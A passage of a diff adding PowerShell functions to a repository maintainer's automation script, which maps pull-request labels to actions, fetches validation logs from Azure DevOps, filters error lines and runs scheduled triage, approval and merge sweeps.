+ $Enum.GitHubPresets.Project { + Add-PRToRecord -PR $PR -Action $Preset + } + $Enum.GitHubPresets.RestrictedSubmitter { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR $PR -UserInput "Restricted Submitter" + } + $Enum.GitHubPresets.ResetApproval { + $out += Reply-ToPR -PR $PR -Body "Reset approval workflow." -Policy "Reset Feedback `n[Policy] $($Enum.PRLabels.VC) `n[Policy] $($Enum.PRActions.Approved)" + } + $Enum.GitHubPresets.Retry { + Add-PRToRecord -PR $PR -Action $Preset + $out += Get-RetryPR -PR $PR + } + $Enum.GitHubPresets.Squash { + Add-PRToRecord -PR $PR -Action $Preset + } + $Enum.GitHubPresets.Timeclock { + Get-TimeclockSet + } + $Enum.GitHubPresets.Validating { + Get-TrackerVMSetMode Validating + $PR = $Enum.Char.Blank + } + $Enum.GitHubPresets.Waiver { + Add-PRToRecord -PR $PR -Action $Preset + $out += Add-Waiver -PR $PR; + } + $Enum.GitHubPresets.WorkSearch { + Get-WorkSearch + } + } + } else { + $out += "Error: $($PR[0..10])" + } + Write-Output "PR $($PR): $out" +} + +Function Get-PRLabelAction { #Soothing label action. + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [string[]]$PRLabels = ((Invoke-GitHubPRRequest -PR $PR2 -Type labels -Output $Enum.PRRequestOutput.Content -JSON).name) + # [switch]$Debug + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubPreset $PR2"}; + Write-Output "PR $PR has labels $PRLabels" + if ($PRLabels -contains $Enum.PRLabels.VDE) { + if ($Debug) {Write-Host ($PRLabels -join $Enum.Char.Space)} + $PRState = Get-PRStateFromComments $PR + if ($Debug) {Write-Host $PRState} + if (($PRState | where {$_.event -eq $Enum.PRTrackerStates.PreValidation})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -lt (Get-Date).AddHours(-8)) {# -AND #Last Prevalidation was 8 hours ago. + #($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -lt (Get-Date).AddHours(-12)) { #Last Run was 18 hours ago. + Get-GitHubPreset Retry -PR $PR + } + } else { + + Foreach ($Label in ($PRLabels -split $Enum.Char.Space)) { + if ($Debug) {Write-Host "Label: $Label"} + $Logset = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).Logset -split $Enum.Char.EscapedPipe + $StringSet = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).StringSet -split $Enum.Char.EscapedPipe + $LengthSet = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).LengthSet -split $Enum.Char.EscapedPipe + Switch -wildcard ($Label) { + $Enum.PRLabels.403 { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + Get-Autowaiver -PR $PR + } + $Enum.PRLabels.ANF { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + if ($null -ne $UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.BVE { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -length 5 + if ($null -ne $UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + if ($UserInput -match $Enum.MagicStrings[3]) { + #Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.AutomationBlock + } + } + $Enum.PRLabels.CLA { + Get-ClaCheck -PR $PR + } + $Enum.PRLabels.EAT { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 36 -SearchString $Enum.MagicStrings[$Enum.Index.First] -length 4 + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + if ($UserInput -match $Enum.MagicStrings[3]) { + Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.AutomationBlock + } + } + $Enum.PRLabels.EHM { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -length 5 + # $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 44 -SearchString $Enum.MagicStrings[7] -length 3 + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } # Write-Host "a" + # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet + # Write-Host "b" + # if ($null -ne $UserInput) { + # Write-Host "c" + # Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + # Write-Host "d" + # Get-UpdateHashInPR2 -PR $PR -InputArray $UserInput + # Write-Host "e" + # } + # Write-Host "f" + } + $Enum.PRLabels.EIA { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 53 -SearchString $Enum.MagicStrings[6] -length 5 + if ($null -eq $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten + } + if ($null -eq $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 57 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten + } + if ($null -eq $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten + } + if ($UserInput) { + $UserInput = Get-AutomatedErrorAnalysis $UserInput + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.CheckInstaller + } + } + $Enum.PRLabels.HVF { + Get-AutoValLog -PR $PR + } + $Enum.PRLabels.HVL { + Approve-PR -PR $PR + } + $Enum.PRLabels.HVR { + Approve-PR -PR $PR + } + $Enum.PRLabels.IE { + if ($Debug) {Write-Host "Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet"} + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -WhatIf + if ($Debug) {Write-Host "UserInput Len $($UserInput.Length)"} + if ($UserInput) { + if (($Enum.MagicStrings[5] -in $UserInput) -OR ("Server Unavailable" -in $UserInput)) { + Get-GitHubPreset -PR $PR Retry + } + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.IEDS { + #Get-AutoValLog -PR $PR + Add-PRToQueue -PR $PR + } + $Enum.PRLabels.IEM { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 15 -SearchString $Enum.MagicStrings[$Enum.Index.Second] + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 30 -SearchString $Enum.MagicStrings[13] + } + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[4] -length 7 + } + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 39 -SearchString $Enum.MagicStrings[4] -length 7 + } + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 + } + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 46 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 + } + if ($null -match $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 47 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 + } + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + if ($UserInput -match $Enum.StandardPRComments.SequenceNoElements) {#Reindex fixes this. + Reply-ToPR -PR $PR -CannedMessage SequenceNoElements + $PRtitle = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title) + if (($PRtitle -match $Enum.PRWatch.AutomaticDeletion) -OR ($PRtitle -match $Enum.PRWatch.Remove)) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR + } + } + } + } + $Enum.PRLabels.IEMI { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.IEU { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.Second] + if ($UserInput) { + if ($Enum.MagicStrings[5] -in $UserInput) { + Get-GitHubPreset -PR $PR Retry + } + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.LVR { + Approve-PR -PR $PR + } + $Enum.PRLabels.MIVE { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + if ($null -ne $UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.MMC { + if ((($PRLabels -join $Enum.Char.Space) -match $Enum.PRLabels.VC)) { + Get-VerifyMMC -PR $PR + } + } + $Enum.PRLabels.MVE {#One of these is VER. + if ($Debug) {Write-Host " Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet"} + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + if ($null -ne $UserInput) { + if ($Debug) {Write-Host "UserInput: $UserInput"} + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated + } + } + $Enum.PRLabels.MVE { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[2] + if ($null -eq $UserInput) { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[$Enum.Index.Second] + } + if ($null -ne $UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated + } + } + $Enum.PRLabels.NMM { + # if ($PRLabels -notcontains $Enum.PRLabels.BI) { + # Approve-PR -PR $PR + # Get-MergePR -PR $PR + # } + } + $Enum.PRLabels.NP { + if ((($PRLabels -join $Enum.Char.Space) -notmatch $Enum.PRLabels.MA)) { + Add-PRToQueue -PR $PR + } + } + $Enum.PRLabels.PD { + Get-DuplicateCheck -PR $PR + } + $Enum.PRLabels.PRE { + # $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 36 -SearchString $Enum.MagicStrings[13] -Length 0 + # if ($Debug) { + # Write-Host "Debug" + # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet -WhatIf + # } else { + $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet + # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet + # } + + + if ($UserInput -match $Enum.Strings.OneManifestPerPR) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.OneManifestPerPR -PR $PR + } elseif ($UserInput -match $Enum.Strings.PRNoYamlFiles) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.PRNoYamlFiles -PR $PR + } elseif ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated + } + } + $Enum.PRLabels.UVE { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 32 -SearchString $Enum.Strings.ValidationResultFailed + Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.CheckInstaller + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + Get-Autowaiver -PR $PR + } + $Enum.PRLabels.VC { + } + $Enum.PRLabels.VD { + Get-Autowaiver -PR $PR + } + $Enum.PRLabels.VEE { + Get-AutoValLog -PR $PR + Get-RerunCheck -PR $PR + } + $Enum.PRLabels.VIE { + Get-AutoValLog -PR $PR + Get-Autowaiver -PR $PR + } + $Enum.PRLabels.VMD { + $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.Second] + if ($UserInput) { + Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd + } + } + $Enum.PRLabels.VMC { + } + $Enum.PRLabels.VNE { + Get-Autowaiver -PR $PR +<# + $Title = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title); + foreach ($Waiver in (Get-ValidationData -Property AutoWaiverLabel)) { + if ($Title -match $Waiver.PackageIdentifier) { + Get-GitHubPreset -PR $PR Waiver + } + } + #> + } + $Enum.PRLabels.VSE { + Get-AutoValLog -PR $PR + Add-PRToQueue -PR $PR + } + $Enum.PRLabels.VUF { + Get-AutoValLog -PR $PR + Add-PRToQueue -PR $PR + } + $Enum.PRLabels.VUE { + Get-Autowaiver -PR $PR + } + $Enum.PRLabels.VUU { + Get-Autowaiver -PR $PR + } + "Policy-Test-*" { + Get-Autowaiver -PR $PR + } + }#end Switch Label + }#end Foreach Label + }#end if PRLabels +} + +Function Get-ScheduledRun { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ScheduledRun Start"}; + # [console]::beep(500,250);[console]::beep(500,250);[console]::beep(500,250) #Beep 3x to alert the PC user. + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-Periodic Run" + } else { + $Host.UI.RawUI.WindowTitle = "Periodic Run" + } + + #Check for yesterday's report and create if missing. + $Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month) + md "$logsFolder\$Month" -ErrorAction SilentlyContinue + $Yesterday = (get-date).AddDays(-1) + $YesterdayFormatted = (get-date $Yesterday -f MMddyy) + $ReportName = "$logsFolder\$Month\Stats\$YesterdayFormatted-Report.csv" + if (Get-Content $ReportName -ErrorAction SilentlyContinue) { + Write-Host "Report for $YesterdayFormatted found." + } else { + Write-Host "Report for $YesterdayFormatted not found." + #And everything else that should run once every 24h. + Get-PRFullReport -Today $YesterdayFormatted + (Get-SearchGitHub None -Label $Enum.PRLabels.MVC).number | %{Open-PRInBrowser -PR $_} + Get-CleanPRExcludeFile + Get-CleanPRFolder + Get-RepoCountReport + (Get-SearchGitHub -Preset None -Label ($Enum.PRLabels.PD +" label:"+$Enum.PRLabels.VC)).number | %{$_;Get-DuplicateCheck $_} + foreach ($page in (1..10)) {(get-searchGitHub -Preset Approval -Page $page).number | %{Get-CheckIfPackageIsNew $_}} + Get-WorkSearch + } + + Get-StaleVMCheck + + $PresetList2 = $Enum.PRLabels.CLA, $Enum.PRLabels.VIE, $Enum.PRLabels.VEE, $Enum.PRLabels.VSE, $Enum.PRLabels.VD, $Enum.PRLabels.VUU, $Enum.PRLabels.VIE, $Enum.PRLabels.PT12, $Enum.PRLabels.PT18, $Enum.PRLabels.PT23, $Enum.PRLabels.PT27, "New-Package label:New-Manifest"; + foreach ($Preset in $PresetList2) { + $Results = (Get-SearchGitHub -Preset None -Label $Preset -DaysAgo 1).number; + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" + if ($Results) { + foreach ($PR in $Results) { + Get-ClaCheck -PR $PR + # switch ($Preset) { + # "New-Package label:New-Manifest" { + # Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NP + # } + # Default { + Get-PRLabelAction -PR $PR + # } + # } + } + }#end if Results12 + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing $Preset with $($Results.Length) Results" + }#End for Preset + + $PresetList = ($Enum.SearchPresets.Defender,$Enum.SearchPresets.Duplicate,$Enum.SearchPresets.HVR,$Enum.SearchPresets.IEDS,$Enum.SearchPresets.LVR,$Enum.SearchPresets.MMC,$Enum.SearchPresets.NMM,$Enum.SearchPresets.ToWork3,$Enum.SearchPresets.Approval,$Enum.SearchPresets.VCMA) + foreach ($Preset in $PresetList) { + $Results = (Get-SearchGitHub -Preset $Preset -nBMM -DaysAgo 1).number + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" + if ($Results) { + switch ($Preset) { + $Enum.SearchPresets.Approval { + $Results = (Get-SearchGitHub Approval -NewPackages -DaysAgo 1).number + $Results | %{Get-ClaCheck -PR $_;Add-PRToQueue -PR $_} + } + $Enum.SearchPresets.Approval2 { + $Results | %{ + Write-Output "$(get-date): $_"; + Get-ClaCheck -PR $_; + Get-PRManifest -pr $_ | clip; + sleep 5 + } + } + $Enum.SearchPresets.IEDS { + $Results | %{Get-ClaCheck -PR $_;Add-PRToQueue -PR $_} + } + $Enum.SearchPresets.VCMA { + $GitHubResults = Get-SearchGitHub VCMA #-DaysAgo 1 + $AnHourAgo = (get-date).AddHours(-1) + $Results = ($GitHubResults | where {[TimeZone]::CurrentTimeZone.ToLocalTime($_.updated_at) -lt $AnHourAgo}).number + #Time, as a number, is always increasing. So the past is always less than the present, which is always less than the future. + $Results | %{Get-ClaCheck -PR $_;Approve-PR -PR $_;Get-MergePR -PR $_} + } + Default { + $Results | %{Get-ClaCheck -PR $_;Get-PRLabelAction -PR $_ } + } + }#end switch Preset + }#end if Results12 + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing $Preset with $($Results.Length) Results" + }#End for Preset + + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" + + + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting PushMePRYou with $($Enum.PushMePRWho.Count) Results" + $Enum.PushMePRWho | %{Write-Host $_.Author;Get-PushMePRYou -Author $_.Author -MatchString $_.MatchString} + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing PushMePRYou with $($Enum.PushMePRWho.Count) Results" + if (([int](get-date -f mm) -eq 20) -OR ([int](get-date -f mm) -eq 50)) { + sleep (60-(get-date -f ss))#Sleep out the minute. + } +} + +Function Get-AutomatedErrorAnalysis { + Param( + $UserInput, + $Spacer = " | " + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AutomatedErrorAnalysis $($UserInput.length)"}; + + #$UserSplit = $UserInput -replace "0x",$Enum.Char.Blank -replace "[^\w]",$Enum.Char.Space -split $Enum.Char.Space + $UserInput = ($UserInput -split $Enum.Char.LineBreak) | where {$_ -notmatch 'Winget errors'} + $UserInput = ($UserInput -split $Enum.Char.LineBreak) | where {$_ -notmatch 'attempting win'} + $UserJoin = $UserInput -join $Enum.Char.Space -replace $Enum.Char.LineBreak,$Enum.Char.Blank -replace $Enum.Char.CarriageReturn,$Enum.Char.Blank + $UserSplit = $UserJoin -replace "0x",$Enum.Char.Space -replace $Enum.Char.EscapedOpenParens,$Enum.Char.Space -replace ">",$Enum.Char.Space -replace "<",$Enum.Char.Space -split $Enum.Char.Space + $UserSplit = $UserSplit | Sort-Object -Unique + [array]$UserArray = ($UserInput -join $Enum.Char.LineBreak) + + # Write-Host "UserJoin $UserJoin" + # Write-Host "UserInput $UserInput" + # Write-Host "UserArray $($UserArray -join '`n')" + + if ($UserJoin -match "exit code" -OR + $UserJoin -match "DeliveryOptimization error" -OR + $UserJoin -match "Installer failed security check" -OR + $UserJoin -match "Error information") { + $ExitCodeTable = Get-Content $ExitCodeFile | ConvertFrom-Csv + + $UserArray += "$($Enum.Char.LineBreak) $($Enum.Char.LineBreak) | Hex | Dec | Inverted Dec | Symbol | Description | $($Enum.Char.LineBreak) | --- | --- | --- | --- | --- | $($Enum.Char.LineBreak)" + foreach ($ExitCode in $ExitCodeTable) { + foreach ($Word in $UserSplit) { + if (($Word -eq $ExitCode.Hex) -OR ($Word -eq $ExitCode.Dec) -OR ($Word -eq $ExitCode.InvDec) ) { + $UserArray += $Spacer + $ExitCode.Hex + $Spacer + $ExitCode.Dec + $Spacer + $ExitCode.InvDec + $Spacer + $ExitCode.Symbol + $Spacer + $ExitCode.Description + $Spacer + $Enum.Char.LineBreak + }# end if word + }# end foreach word + }#end foreach exitcode + }#end if userinput + $UserArray = $UserArray | Select-Object -Unique + return $UserArray +}#end function + +Function Get-ValidationResult { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ValidationResult $PR"}; + Write-Host "Get-ValidationResult PR $PR" + $BuildNumber = Get-BuildFromPR -PR $PR + + $ValidationResultUrl = "https://dev.azure.com/shine-oss/8b78618a-7973-49d8-9174-4360829d979b/_apis/build/builds/$BuildNumber/" + $ValidationResultData = Invoke-GitHubRequest $ValidationResultUrl + $ValidationResult = $ValidationResultData | ConvertFrom-Json + + if (($ValidationResult.status -eq "completed") -and ($ValidationResult.result -eq "succeeded")) { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC + } else { + Get-DownloadADOFile -PR $PR -RetriesLimit 1 + $ResultFileName = "InstallationVerification_Result.json" + + $DestinationPath = "$MainFolder\Installers" + $ValidationResultPath = "$DestinationPath\ValidationResult\" + + # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) + $PackageIdentifier = (Get-SchemaCheck -InputData (ls $ValidationResultPath)[$Enum.Index.First].name -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + $ValidationResultPath += "$PackageIdentifier\" + $PackageVersion = (ls $ValidationResultPath)[$Enum.Index.First].name + $ValidationResultPath += "$PackageVersion\" + $ResultFilePath = (ls $ValidationResultPath).fullname | where {$_ -match $ResultFileName} + + if ($ResultFilePath) { + $OverallResult = (Get-Content $ResultFilePath | ConvertFrom-Json).OverallResult + if ($OverallResult -eq "Success") { + Write-Host "$($PR): Success" + } else { + Write-Host "$($PR): $LabelName" + $LabelName = (Get-Content $ResultFilePath | ConvertFrom-Json).TestplansResults.TestPlan + Get-AddPRLabel -PR $PR -LabelName $LabelName + } + } + } +} + +Function Get-AutoValLog { + #Needs $GitHubToken to be set up in your -PR $PROFILE or somewhere more secure. Needs permissions: workflow, + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $DestinationPath = "$MainFolder\Installers", + $LogPath = "$DestinationPath\InstallationVerificationLogs\", + $ZipPath = "$DestinationPath\InstallationVerificationLogs.zip", + $BuildNumber = (Get-BuildFromPR -PR $PR2), + [switch]$CleanoutDirectory, + [switch]$WhatIf, + [switch]$Force, + [switch]$Silent, + $notes = $Enum.Char.Blank + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AutoValLog $PR2"}; + Write-Host "Gathering data for PR $PR" + $PRState = Get-PRStateFromComments $PR + $FileList = $null + [int]$BackoffSeconds = $Enum.Num.Zero + [int]$Retries = $Enum.Num.Zero + [int]$RetriesLimit = 1 + $ArtfiactUrl = $Enum.Char.Blank + + if ((!($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})) -OR (($PRState | where {$_.event -eq $Enum.PRTrackerStates.PreValidation})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -gt ($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})[$Enum.Index.Last].($Enum.Strings.CreatedAt)) -OR ($Force)) { #Last Prevalidation was 8 hours ago. + $DownloadSeconds = 8; + $LowerOps = $true; + $WaiverList = Get-ValidationData -Property AutoWaiverLabel + #Get-Process *photosapp* | Stop-Process + if ($PReprod) { + $BuildNumber = 1 + } else { + + } + + if ($BuildNumber -gt $Enum.Num.Zero) { + while ($null -eq $FileList) { + try { + #This downloads to Windows default location, which has already been set to $DestinationPath + if ($PReprod) { + $ZipPath = "$DestinationPath\WinGetSvc-Validation-Ppe-$PR-3-artifacts.zip" + + $CheckData = Get-CheckData -PR $PR | where {$_.name -match "Validation Completed"} + $ArtfiactUrl = (($CheckData.output.text -split $Enum.Char.LineBreak | select-string "zip")[$Enum.Index.Last] -split $Enum.Char.DoubleQuote)[3] + } else { + $ArtfiactUrl = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$BuildNumber/artifacts?artifactName=InstallationVerificationLogs&api-version=7.1&%24format=zip" + } + Start-Process $ArtfiactUrl + if ($WhatIf) { + Write-Host $ArtfiactUrl + } + Start-Sleep $DownloadSeconds; + [bool]$IsZipPath = (Test-Path $ZipPath) + if ($WhatIf) { + Write-Host "IsZipPath $IsZipPath" + } + if (!$IsZipPath) { + if ($Retries -ge $RetriesLimit) { + $UserInput = "No logs after $Retries retries." + if ($WhatIf) { + Write-Host "Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + } else { + if ($Force) { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } + } + Write-Host $UserInput + Break; + } else { + Write-Host "Retry $Retries of $RetriesLimit" + } + $Retries++ + } + Remove-Item $LogPath -Recurse -ErrorAction Ignore + Expand-Archive $ZipPath -DestinationPath $DestinationPath; + Remove-Item $ZipPath + if ($CleanoutDirectory) { + Get-ChildItem $DestinationPath | Remove-Item -Recurse + } + $FileList = (Get-ChildItem $LogPath).FullName + } catch { + if ($BackoffSeconds -gt 60) { + $UserInput = "Build $BuildNumber not found." + } + $AddSeconds = Get-Random -min 1 -max 5 + $BackoffSeconds += $AddSeconds + Write-Host "Can't access $DestinationPath or a subfolder. Backing off another $AddSeconds seconds, for $BackoffSeconds total seconds." + sleep $BackoffSeconds + } + } + + [Array]$UserInput = $null + foreach ($File in $filelist) { + $UserInput += (Get-Content $File) -split $Enum.Char.LineBreak + } + $UserInput = $UserInput | Where-Object { + $_ -match '[[]FAIL[]]' -OR + $_ -match 'error' -OR + $_ -match 'exception' -OR + $_ -match 'exit code' -OR + $_ -match 'fail' -OR + $_ -match 'manual review' -OR + $_ -match 'No suitable' -OR + $_ -match 'not supported' -OR #not supported by this processor type + #$_ -match 'not applicable' -OR + $_ -match 'unwanted' -OR #PUA + $_ -match 'Unable to locate nested installer' -OR + $_ -match 'space' -OR + $_ -match 'cannot install' + } + if ($WhatIf) { + Write-Host "File $File - UserInput $UserInput Length $($UserInput.Length)" + } + $UserInput = $UserInput | Select-Object -Unique; #-split $Enum.Char.LineBreak + $UserInput = $UserInput -replace "Standard error: ",$null + $UserReplace = $UserInput -replace "\\","\\" -replace "\[","\[" -replace "\]","\]" -replace "\*","\*" -replace "\+","\+" -replace "\s",$Enum.Char.Blank -join $Enum.Char.Blank + [bool]$isnotnull = ($null -notmatch $UserReplace) + if ($WhatIf) { + Write-Host "UserReplace 1 $UserReplace - notmatch null $isnotnull (true is populated, false is null)" + } + + if ($isnotnull) { + if (($UserInput -match "Installer failed security check") -OR ($UserInput -match "Operation did not complete successfully because the file contains a virus or potentially unwanted software")) { + $LowerOps = $false + #$UserInput = Get-AutomatedErrorAnalysis $UserInput + Write-Host "DefenderFail - UserInput $UserInput" + } + if ($UserInput -match "SQL error or missing database") { + Get-GitHubPreset Retry -PR $PR + if (!($Silent)) { + Write-Output "PR $PR - SQL error or missing database" + } + Open-PRInBrowser -PR $PR + } + + # $UserInput = $UserInput -split $Enum.Char.LineBreak + $UserInput = $UserInput -notmatch " success or error status`: 0" + $UserInput = $UserInput -notmatch "``Windows Error Reporting``" + $UserInput = $UserInput -notmatch "--- End of inner exception stack trace ---" + $UserInput = $UserInput -notmatch "2: 3: Error" + $UserInput = $UserInput -notmatch "Property\(S\)" + $UserInput = $UserInput -notmatch "AppInstallerRepositoryCore" + $UserInput = $UserInput -notmatch "api-ms-win-core-errorhandling" + $UserInput = $UserInput -notmatch "appropriate application package" + $UserInput = $UserInput -notmatch "because the current user does not have that package installed" + $UserInput = $UserInput -notmatch "Cannot create a file when that file already exists" + $UserInput = $UserInput -notmatch "Could not create system restore point" + $UserInput = $UserInput -notmatch "Dest filename" + $UserInput = $UserInput -notmatch "DismHost" + $UserInput = $UserInput -notmatch "Element not found" + $UserInput = $UserInput -notmatch "Error occurred while trying to capture screenshot" + $UserInput = $UserInput -notmatch "Exception during executable launch operation System.InvalidOperationException: No process is associated with this object." + $UserInput = $UserInput -notmatch "exception thrown when getting" + $UserInput = $UserInput -notmatch "Exit code`: 0" + $UserInput = $UserInput -notmatch "Failed to open available source: msstore" + $UserInput = $UserInput -notmatch "GetLastError@kernel32.dll" + $UserInput = $UserInput -notmatch "IconContent" + $UserInput = $UserInput -notmatch "ISWEBVIEW2INSTALLED" + $UserInput = $UserInput -notmatch "MpCmdRun" + $UserInput = $UserInput -notmatch "ResultException" + $UserInput = $UserInput -notmatch "SchedNetFx" + $UserInput = $UserInput -notmatch "Setting error JSON 1.0 fields" + $UserInput = $UserInput -notmatch "Signature Update Failed" + $UserInput = $UserInput -notmatch "Terminating context" + $UserInput = $UserInput -notmatch "The process cannot access the file because it is being used by another process" + $UserInput = $UserInput -notmatch "The FileSystemWatcher has detected an error System.IO.ErrorEventArgs" + $UserInput = $UserInput -notmatch "ThrowIfExceptional" + $UserInput = $UserInput 